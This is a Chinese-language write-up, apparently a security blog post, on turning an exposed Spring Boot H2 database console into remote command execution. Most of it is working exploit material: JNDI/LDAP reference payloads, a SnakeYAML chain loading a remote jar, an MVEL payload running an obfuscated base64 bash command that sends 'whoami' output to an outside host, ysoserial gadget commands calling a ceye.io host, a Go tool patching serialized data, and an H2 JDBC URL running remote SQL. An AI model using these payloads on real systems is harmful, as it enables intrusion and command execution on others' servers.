从Spring Boot H2 Database到GetShell
0x1. 切入点
在日常测试的时候,使用ffuf发现一个/console
的接口,打开之后发现是H2 Database页面:
如果Spring Boot项目中包含h2database并且在配置文件中启用h2-console,则存在JNDI注入漏洞.
设置Driver Class
为javax.naming.InitialContext
,JDBC URL
为ldap://attacker.com/Exploit
:
根据/env
泄漏的信息,得知Java版本是1.8.0_312,高版本JDK中由于默认codebase为true从而导致客户端默认不会请求远程Server上的恶意 Class, 因此不可以直接使用LDAP加载远程恶意代码。
RMI:JDK 8u113、JDK 7u122、JDK 6u132 起 codebase 默认为 true
LDAP:JDK 11.0.1、JDK 8u191、JDK 7u201、JDK 6u211 起 codebase 默认为 true
0x2. 绕过和利用
利用本地Class作为Reference Factory绕过
利用URLDNS链可以探测Java黑盒应用里面某个类是否存在, 在珂字辈和c0ny1师傅的两篇文章讲的很详细:
URLDNS的测试代码,生成一个序列化的数据包1.ser
:
package test;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import javassist.ClassPool;
import javassist.CtClass;
public class Urldns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://333.f9575af1.dns.1433.eu.org");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 1);
//hashMap.put(url, org.apache.commons.beanutils.BeanComparator.class);
hashMap.put(url, makeClass("org.apache.commons.beanutils.BeanComparator"));
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos.writeObject(hashMap);
//ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
//ois.readObject();
}
public static Class makeClass(String clazzName) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass(clazzName);
Class clazz = ctClass.toClass();
ctClass.defrost();
return clazz;
}
}
因为动态生成的类也可以被反序列化,因此上面代码生成的序列化数据,最好在另外一个环境里面反序列化测试。
post请求提交上面生成的1.ser
到/yso
接口,如果生成1.ser
里面的类在反序列化的时候存在,则会收到dnslog请求:
package com.example.demo.controller;
import org.apache.logging.log4j.ThreadContext;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.*;
import org.apache.logging.log4j.core.lookup.UpperLookup;
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;
@ResponseBody
@RestController
public class TestClass {
@PostMapping("/yso")
public void URLDemo(HttpServletRequest request, HttpServletResponse response) throws Exception{
ServletInputStream inputStream = request.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
}
private static final Logger logger = LoggerFactory.getLogger(TestClass.class);
@GetMapping("/log")
public String echo(@RequestHeader("X-Api-Version") String apiVersion) {
ThreadContext.put("apiVersion", apiVersion);
logger.info("Received a request");
UpperLookup upperLookup = new UpperLookup();
logger.info(upperLookup.lookup("i"));
return "Hello, API Controller!";
}
}
珂字辈师傅已经写好了URLDNS,可以生成探测需要的序列化数据包。当存在JNDI注入的时候,启动LDAP服务:java -jar Urldns.jar ldap all <dnslog>
,然后使用PAYLOAD: ldap://<ip>:1389/Hello233
。
Snkeyml
借用Ceye.io探测H2 Database的页面,发现可以利用的链很多,比如cc1, cb17、mvel、snakeyaml
等,其中cc1、cb17
这些链属于LDAP反序列化,mvel、snkeyaml
属于加载本地Class。
浅蓝师傅在探索高版本JDK下JNDI漏洞的利用方法里面讲的很详细,这里选择使用snkeyml
攻击,主要利用代码:
private static ResourceRef tomcat_snakeyaml(){
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
return ref;
}
在服务端使用RMI托管,然后开启yaml-payload.jar,可以成功执行命令。
Mvel
在更换MVEL执行的时候,本地测试弹计算器成功,但是换成执行命令就会失败,使用IDEA本地调试之后发现把push去掉,然后可以执行命令成功,具体原因需要再跟踪一遍:
private static ReferenceWrapper tomcat_MVEL() throws RemoteException, NamingException {
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a",
"Runtime.getRuntime().exec('bash -c {echo,Y3VybCBiYWlkdS5jb20vYHdob2FtaWA=}|{base64,-d}|{bash,-i}');"));
return new ReferenceWrapper(ref);
}
利用LDAP返回反序列化数据,触发本地Gadget绕过
LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的javaSerializedData
属性值不为空,则客户端的obj.decodeObject()
方法就会对这个字段的内容进行反序列化,攻击者仍然可以利用受害者本地CLASSPATH中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。
使用CC链生成之后托管在LDAP:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'curl xbaax2.ceye.io'|base64 |pbcopy
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 'curl xbaax2.ceye.io'|base64 |pbcopy
kxcode师傅的LDAP托管生成的反序列化数据:
java -cp HackerRMIRefServer-all.jar HackerLDAPRefServer 0.0.0.0 8088 1389
但是在使用CommonsBeanutils1链的时候,执行命令失败:
可以从报错原因看出来,因为CommonsBeanutils1的版本不同,BeanComparator这个类的SerialVersionUID不一样,会造成反序列化失败。1.7x-1.8x为-3490850999041592962
,1.9x为-2044202215314119608
。
有两种解决方法:
- 替换ysoserial的CommonsBeanutils1,使用su18师傅的ysoserial:
java -jar ysuserial-1.3-su18-all.jar -g CommonsBeanutils1183NOCC -p 'open -a Calculator.app' |base64 |pbcopy
- 生成反序列化数据之后,修改SerialVersionUID为对应版本的值
刚好早上看到P师傅发的文章,尝试使用zkar修改ysoserial生成的序列化数据包,可以执行命令成功。
package main
import (
"github.com/phith0n/zkar/serz"
"io/ioutil"
"log"
)
func main() {
data, _ := ioutil.ReadFile("cb1.ser")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}
object := serialization.Contents[0].Object
for _, field := range object.ClassDatas[0].FieldDatas {
if field.TypeCode == "L" {
classPonter := field.Object.(*serz.TCObject).ClassPointer
if classPonter.Flag == serz.JAVA_TC_CLASSDESC &&
classPonter.NormalClassDesc.ClassName.Data == "org.apache.commons.beanutils.BeanComparator" {
classPonter.NormalClassDesc.SerialVersionUID = -3490850999041592962
break
}
}
}
ioutil.WriteFile("cb1-modify.ser", serialization.ToBytes(), 0o755)
}
H2 RCE
参考su18师傅的jdbc-connection-url-attack:
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
远程服务器的恶意SQL:
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('open -a Calculator.app')
Spring < 2.3.0的时候,会默认创建jdbc:h2:mem:testdb
,Spring >= 2.3.0的时候,Spring会自动创建一个UUID随机数据库名,数据库名可以在Spirng的日志里看到。
所以使用这种方法的时候需要满足以下任意一个条件:
- Spring < 2.3.0
- 提前获取到H2 database的用户密码
注意事项
- RMI托管在VPS的时候,修改java.rmi.server.hostname为自己服务器的IP地址
- 在完全黑盒的情况下,注意SerialVersionUID不匹配的问题,具体见URLDNS